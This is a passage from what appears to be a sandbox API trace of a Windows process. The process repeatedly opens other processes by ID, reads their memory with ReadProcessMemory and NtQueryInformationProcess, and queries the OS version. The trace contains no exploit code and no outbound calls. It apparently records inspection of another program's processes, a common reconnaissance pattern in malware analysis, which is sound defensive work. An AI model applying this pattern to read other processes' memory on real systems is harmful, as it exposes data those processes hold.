lpBuffer=0x670ffc3f0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0218.311] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0218.313] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0218.313] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x2ac020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0218.313] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x5612e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0218.313] malloc (_Size=0x7a) returned 0x196ef0d31b0 [0218.313] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x56196a, lpBuffer=0x196ef0d31b0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0218.314] free (_Block=0x196ef0d31b0) [0218.315] CloseHandle (hObject=0x45c) returned 1 [0218.315] _ui64tow_s (in: _Value=0xf5c, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3932") returned 0x0 [0218.320] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3932") returned 4 [0218.321] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0218.321] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0218.339] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf5c) returned 0x45c [0218.339] GetLastError () returned 0x0 [0218.339] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0218.339] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x2e3018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0218.340] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0218.340] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x501c80, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0218.340] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x5018f8, lpBuffer=0x670ffc3f0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0218.341] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0218.342] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0218.343] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x2e3020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0218.343] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x5012e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0218.343] malloc (_Size=0x4e) returned 0x196ef100b60 [0218.343] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x50193e, lpBuffer=0x196ef100b60, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef100b60*, lpNumberOfBytesRead=0x0) returned 1 [0218.344] free (_Block=0x196ef100b60) [0218.467] CloseHandle (hObject=0x45c) returned 1 [0218.468] _ui64tow_s (in: _Value=0xf64, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3940") returned 0x0 [0218.474] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3940") returned 4 [0218.475] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0218.475] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0218.497] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf64) returned 0x45c [0218.497] GetLastError () returned 0x0 [0218.497] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0218.498] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x238018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0218.498] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0218.498] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x5b1ce0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0218.498] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x5b18f8, lpBuffer=0x670ffc3f0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0218.499] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0218.501] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0218.501] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x238020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0218.501] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x5b12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0218.501] malloc (_Size=0x70) returned 0x196ef0d4f50 [0218.501] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x5b1960, lpBuffer=0x196ef0d4f50, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f50*, lpNumberOfBytesRead=0x0) returned 1 [0218.502] free (_Block=0x196ef0d4f50) [0218.609] CloseHandle (hObject=0x45c) returned 1 [0218.609] _ui64tow_s (in: _Value=0xf74, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3956") returned 0x0 [0218.614] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3956") returned 4 [0218.616] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0218.616] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0218.632] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf74) returned 0x45c [0218.632] GetLastError () returned 0x0 [0218.632] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0218.633] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x3a2018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0218.633] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0218.633] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x621cb0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0218.633] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x6218f8, lpBuffer=0x670ffc3f0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0218.634] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0218.635] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0218.635] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x3a2020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0218.635] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x6212e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0218.636] malloc (_Size=0x60) returned 0x196ef0d0680 [0218.636] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x621950, lpBuffer=0x196ef0d0680, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0680*, lpNumberOfBytesRead=0x0) returned 1 [0218.636] free (_Block=0x196ef0d0680) [0218.637] CloseHandle (hObject=0x45c) returned 1 [0218.638] _ui64tow_s (in: _Value=0xf7c, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3964") returned 0x0 [0219.000] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3964") returned 4 [0219.002] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0219.002] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0219.018] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf7c) returned 0x45c [0219.018] GetLastError () returned 0x0 [0219.019] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0219.019] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x382018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0219.019] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0219.019] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x521ce0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0219.020] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x5218f8, lpBuffer=0x670ffc3f0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0219.022] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0219.024] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0219.024] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x382020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0219.024] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x5212e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0219.024] malloc (_Size=0x6c) returned 0x196ef0d4f50 [0219.024] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x52195c, lpBuffer=0x196ef0d4f50, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f50*, lpNumberOfBytesRead=0x0) returned 1 [0219.025] free (_Block=0x196ef0d4f50) [0219.025] CloseHandle (hObject=0x45c) returned 1 [0219.026] _ui64tow_s (in: _Value=0xf8c, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3980") returned 0x0 [0219.030] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3980") returned 4 [0219.032] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0219.032] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0219.137] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf8c) returned 0x45c [0219.138] GetLastError () returned 0x0 [0219.138] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0219.138] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x353018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0219.138] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0219.138] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x4f1d10, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0219.139] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x4f18f8, lpBuffer=0x670ffc3f0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0219.140] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0219.141] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0219.141] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x353020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0219.141] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x4f12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0219.142] malloc (_Size=0x7c) returned 0x196ef0d31b0 [0219.142] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x4f196c, lpBuffer=0x196ef0d31b0, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0219.142] free (_Block=0x196ef0d31b0) [0219.143] CloseHandle (hObject=0x45c) returned 1 [0219.144] _ui64tow_s (in: _Value=0xf94, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3988") returned 0x0 [0219.149] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3988") returned 4 [0219.150] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0219.150] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0219.242] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf94) returned 0x45c [0219.243] GetLastError () returned 0x0 [0219.243] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0219.243] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x54d018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0219.243] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0219.243] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x3f1ce0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0219.243] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x3f18f8, lpBuffer=0x670ffc3f0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0219.244] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0219.246] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0219.246] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x54d020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0219.246] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x3f12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0219.256] malloc (_Size=0x70) returned 0x196ef0d4f50 [0219.256] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x3f1960, lpBuffer=0x196ef0d4f50, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f50*, lpNumberOfBytesRead=0x0) returned 1 [0219.257] free (_Block=0x196ef0d4f50) [0219.258] CloseHandle (hObject=0x45c) returned 1 [0219.258] _ui64tow_s (in: _Value=0xfa8, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4008") returned 0x0 [0219.263] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4008") returned 4 [0219.264] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0219.264] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0219.333] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfa8) returned 0x45c [0219.333] GetLastError () returned 0x0 [0219.333] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0219.333] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x3a3018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0219.334] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0219.334] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x1c1cf0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0219.334] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x1c18f8, lpBuffer=0x670ffc3f0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0219.335] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0219.337] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0219.337] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x3a3020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0219.337] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x1c12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0219.337] malloc (_Size=0x72) returned 0x196ef0d4f50 [0219.337] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x1c1962, lpBuffer=0x196ef0d4f50, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f50*, lpNumberOfBytesRead=0x0) returned 1 [0219.338] free (_Block=0x196ef0d4f50) [0219.338] CloseHandle (hObject=0x45c) returned 1 [0219.339] _ui64tow_s (in: _Value=0xfb0, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4016") returned 0x0 [0219.343] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4016") returned 4 [0219.345] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0219.345] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0219.428] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfb0) returned 0x468 [0219.428] GetLastError () returned 0x0 [0219.428] NtQueryInformationProcess (in: ProcessHandle=0x468, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0219.428] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x2cf018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, 